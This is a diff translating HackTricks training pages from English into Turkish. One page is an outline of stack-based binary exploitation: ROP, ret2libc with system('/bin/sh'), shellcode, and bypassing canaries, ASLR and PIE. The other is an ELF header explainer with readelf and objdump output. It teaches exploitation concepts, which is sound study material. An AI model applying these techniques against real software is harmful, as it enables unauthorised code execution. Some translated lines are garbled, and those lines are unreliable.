src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
View File

@ -1,111 +1,108 @@
# Basic Binary Exploitation Methodology
# Temel İkili İstismar Metodolojisi
{{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info
## ELF Temel Bilgiler
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
Herhangi bir şeyi istismar etmeye başlamadan önce, bir **ELF ikilisi** yapısının bir kısmını anlamak ilginçtir:
{{#ref}}
elf-tricks.md
{{#endref}}
## Exploiting Tools
## İstismar Araçları
{{#ref}}
tools/
{{#endref}}
## Stack Overflow Methodology
## Yığın Taşması Metodolojisi
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
Bu kadar çok teknikle, her tekniğin ne zaman faydalı olacağına dair bir şemaya sahip olmak iyidir. Aynı korumaların farklı teknikleri etkileyeceğini unutmayın. Her koruma bölümünde korumaları aşmanın yollarını bulabilirsiniz, ancak bu metodolojide değil.
## Controlling the Flow
## Akışı Kontrol Etme
There are different was you could end controlling the flow of a program:
Bir programın akışını kontrol etmenin farklı yolları vardır:
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- Or via **Arbitrary Writes + Write What Where to Execution**
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
- [**Yığın Taşmaları**](../stack-overflow/) yığından dönüş işaretçisini veya EBP -> ESP -> EIP'yi yazma.
- Taşmayı tetiklemek için bir [**Tam Sayı Taşması**](../integer-overflow.md) istismar etmeniz gerekebilir.
- Ya da **Rastgele Yazmalar + Yaz Ne Nerede ile İcra** yoluyla.
- [**Format dizeleri**](../format-strings/)**:** `printf`'i kullanarak rastgele içeriği rastgele adreslere yazma.
- [**Dizi İndeksleme**](../array-indexing.md): Bazı dizileri kontrol edebilmek ve rastgele yazma elde edebilmek için kötü tasarlanmış bir indekslemeyi istismar etme.
- Taşmayı tetiklemek için bir [**Tam Sayı Taşması**](../integer-overflow.md) istismar etmeniz gerekebilir.
- **bof'dan WWW'ye ROP ile**: Bir tampon taşmasını istismar ederek bir ROP oluşturma ve WWW'yi elde etme.
You can find the **Write What Where to Execution** techniques in:
**Yaz Ne Nerede ile İcra** tekniklerini şurada bulabilirsiniz:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
## Eternal Loops
## Sonsuz Döngüler
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
Dikkate alınması gereken bir şey, genellikle **bir zafiyetin yalnızca bir kez istismar edilmesinin yeterli olmayabileceğidir**; özellikle bazı korumaların aşılması gerekir. Bu nedenle, bir **tek zafiyeti aynı ikilinin yürütülmesi sırasında birkaç kez istismar edilebilir hale getirmek** için bazı seçenekleri tartışmak ilginçtir:
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
- **`main` fonksiyonunun** adresini veya **zafiyetin** meydana geldiği adresi bir **ROP** zincirine yazma.
- Uygun bir ROP zincirini kontrol ederek, o zincirdeki tüm eylemleri gerçekleştirebilirsiniz.
- **`exit` adresini GOT'ta** (veya ikili tarafından bitirilmeden önce kullanılan herhangi bir fonksiyonda) **zafiyete geri dönmek için** adres yazma.
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**'de açıklandığı gibi**, burada zafiyeti tekrar çağıracak bir fonksiyon ve **`__libc_csu_fini`**'yi çağıracak bir fonksiyon saklayın; bu da `.fini_array`'dan fonksiyonu tekrar çağıracaktır.
## Exploitation Goals
## İstismar Hedefleri
### Goal: Call an Existing function
### Hedef: Mevcut bir fonksiyonu çağırmak
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- If you need to set several parameter to correctly call the **ret2win** function you can use:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
- [**ret2win**](./#ret2win): Bayrağı almak için çağırmanız gereken (belki bazı özel parametrelerle) kodda bir fonksiyon var.
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **ve** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) olmayan bir **normal bof'da**, yığında saklanan dönüş adresine adresi yazmanız yeterlidir.
- [**PIE**](../common-binary-protections-and-bypasses/pie/) olan bir bof'da, bunu aşmanız gerekecek.
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) olan bir bof'da, bunu aşmanız gerekecek.
- **ret2win** fonksiyonunu doğru bir şekilde çağırmak için birkaç parametre ayarlamanız gerekiyorsa:
- Tüm parametreleri hazırlamak için yeterli gadget varsa bir [**ROP**](./#rop-and-ret2...-techniques) **zinciri** kullanabilirsiniz.
- Birçok kaydı kontrol etmek için [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (bu syscall'ı çağırabiliyorsanız).
- Birçok kaydı kontrol etmek için [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları.
- [**Yaz Ne Nerede**](../arbitrary-write-2-exec/) aracılığıyla, **`win`** fonksiyonunu çağırmak için diğer zafiyetleri (bof olmayan) istismar edebilirsiniz.
- [**Göstergeleri Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaret eden göstergeler içeriyorsa, o adresi yazmak mümkündür.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir.
- [**Başlatılmamış değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz.
### Goal: RCE
### Hedef: RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
#### Shellcode aracılığıyla, eğer nx devre dışıysa veya shellcode ile ROP'u karıştırarak:
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- This will mix shellcode with a ROP chain.
- [**(Yığın) Shellcode**](./#stack-shellcode): Bu, dönüş işaretçisini yazdıktan önce veya sonra yığında bir shellcode saklamak ve ardından **ona atlamak** için yararlıdır:
- Her durumda, eğer bir [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) varsa, normal bir bof'da bunu aşmanız gerekecek (sızdırma).
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) olmadan, yığın adresine atlamak mümkündür çünkü asla değişmeyecektir.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ile, ona atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacak.
- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ile, bazı [**ROP**](../rop-return-oriented-programing/) kullanarak `memprotect`'i çağırmanız ve bazı sayfaları `rwx` yapmanız gerekecek; böylece shellcode'u oraya saklayabilir (örneğin, read çağırarak) ve ardından oraya atlayabilirsiniz.
- Bu, shellcode ile bir ROP zincirini karıştıracaktır.
#### Via syscalls
#### Syscall'lar aracılığıyla
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Rastgele komutları çalıştırmak için `execve`'yi çağırmak için yararlıdır. **Belirli syscall'ı parametrelerle çağırmak için gadget'leri bulabilmeniz gerekir.**
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) etkinse, ikili veya kütüphanelerden ROP gadget'lerini kullanabilmek için bunları aşmanız gerekecek.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve**'yi hazırlamak için yararlı olabilir.
- Birçok kaydı kontrol etmek için [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları.
#### Via libc
#### libc aracılığıyla
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20;
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- Find the **`libc` version** used (leak a couple of function addresses)
- Check the **previous scenarios with ASLR** to continue.
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Genellikle **`libc`**'den bir fonksiyonu (örneğin, **`system`**) bazı hazırlanmış argümanlarla (örneğin, `'/bin/sh'`) çağırmak için yararlıdır. İstediğiniz fonksiyonu çağırmak için ikilinin **kütüphaneyi yüklemesi** gerekir (genellikle libc).
- **Statik derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) yoksa, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve yüklü libc sürümünü bilmeden**, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ama** [**PIE**](../common-binary-protections-and-bypasses/pie/) yoksa, libc'yi bilerek ve ikili `system`** fonksiyonunu kullanıyorsa, **GOT'taki system adresine `ret` yaparak** `'/bin/sh'` adresini parametre olarak verebilirsiniz (bunu çözmeniz gerekecek).
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ama [**PIE**](../common-binary-protections-and-bypasses/pie/) yoksa, libc'yi bilerek ve **ikili `system`** kullanmıyorsanız:
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kullanarak `system`'in adresini çözümleyin ve çağırın.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aşın ve `system` ile `'/bin/sh'`'nin adresini bellek içinde hesaplayın.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) ile ve libc'yi bilmeden: Şunları yapmanız gerekir:
- [**PIE**](../common-binary-protections-and-bypasses/pie/) aşın.
- Kullanılan **`libc` sürümünü** bulun (birkaç fonksiyon adresini sızdırın).
- Devam etmek için **ASLR ile önceki senaryoları** kontrol edin.
#### Via EBP/RBP
#### EBP/RBP aracılığıyla
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- Useful for **off-by-one** stack overflows
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
- [**Yığın Pivotlama / EBP2Ret / EBP Zincirleme**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Yığındaki saklanan EBP aracılığıyla RET'i kontrol etmek için ESP'yi kontrol edin.
- **Birden fazla** yığın taşmaları için yararlıdır.
- Yüklemenin bellek içinde payload'u oluştururken EIP'i istismar ederek EIP'i kontrol etmenin alternatif bir yolu olarak yararlıdır ve ardından EBP aracılığıyla ona atlayabilirsiniz.
#### Misc
#### Çeşitli
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
{{#include ../../banners/hacktricks-training.md}}
- [**Göstergeleri Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaret eden göstergeler içeriyorsa, o adresi yazmak mümkündür.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary

414
src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
View File

@ -1,11 +1,10 @@
# ELF Basic Information
# ELF Temel Bilgiler
{{#include ../../banners/hacktricks-training.md}}
## Program Headers
The describe to the loader how to load the **ELF** into memory:
## Program Başlıkları
Yükleyiciye **ELF**'yi belleğe nasıl yükleyeceğini tarif eder:
```bash
readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
Önceki programda **9 program başlığı** bulunmaktadır, ardından **segment haritalaması** her bölümün hangi program başlığında (00'dan 08'e) **bulunduğunu** gösterir.
### PHDR - Program HeaDeR
Contains the program header tables and metadata itself.
Program başlığı tablolarını ve meta verileri içerir.
### INTERP
Indicates the path of the loader to use to load the binary into memory.
İkili dosyayı belleğe yüklemek için kullanılacak yükleyicinin yolunu gösterir.
### LOAD
These headers are used to indicate **how to load a binary into memory.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
Bu başlıklar, **bir ikili dosyayı belleğe nasıl yükleyeceğinizi** belirtmek için kullanılır.\
Her **LOAD** başlığı, **bellek** bölgesini (boyut, izinler ve hizalama) belirtir ve ELF **ikilisinden oraya kopyalanacak baytları** gösterir.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
Örneğin, ikincisi 0x1190 boyutundadır, 0x1fc48'de bulunmalı, okuma ve yazma izinlerine sahip olmalı ve 0xfc48'den 0x528 ile doldurulacaktır (tüm ayrılan alanı doldurmaz). Bu bellek, `.init_array .fini_array .dynamic .got .data .bss` bölümlerini içerecektir.
### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
Bu başlık, programları kütüphane bağımlılıklarına bağlamaya ve yeniden konumlandırmaları uygulamaya yardımcı olur. **`.dynamic`** bölümüne bakın.
### NOTE
This stores vendor metadata information about the binary.
Bu, ikili dosya hakkında satıcı meta veri bilgilerini saklar.
### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
Yığın geri sarma tablolarının konumunu tanımlar, bu tablolar hata ayıklayıcılar ve C++ istisna işleme çalışma zamanı işlevleri tarafından kullanılır.
### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
Yığın yürütme önleme savunmasının yapılandırmasını içerir. Etkinleştirilirse, ikili dosya yığın üzerinden kod çalıştıramaz.
### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
İkili dosyanın RELRO (Yeniden Konumlandırma Salt Okunur) yapılandırmasını gösterir. Bu koruma, program yüklendikten sonra ve çalışmaya başlamadan önce belleğin belirli bölümlerini (örneğin `GOT` veya `init` ve `fini` tabloları) salt okunur olarak işaretler.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
Önceki örnekte, 0x3b8 baytını 0x1fc48'e salt okunur olarak kopyalıyor ve `.init_array .fini_array .dynamic .got .data .bss` bölümlerini etkiliyor.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
RELRO'nun kısmi veya tam olabileceğini unutmayın, kısmi versiyon **`.plt.got`** bölümünü korumaz, bu bölüm **tembel bağlama** için kullanılır ve kütüphanelerin adresinin ilk kez arandığında yazma izinlerine sahip bu bellek alanına ihtiyaç duyar.
### TLS
Defines a table of TLS entries, which stores info about thread-local variables.
İş parçacığına özgü değişkenler hakkında bilgi saklayan bir TLS girişleri tablosunu tanımlar.
## Section Headers
Section headers gives a more detailed view of the ELF binary
## Bölüm Başlıkları
Bölüm başlıkları, ELF ikilisinin daha ayrıntılı bir görünümünü sunar.
```
objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
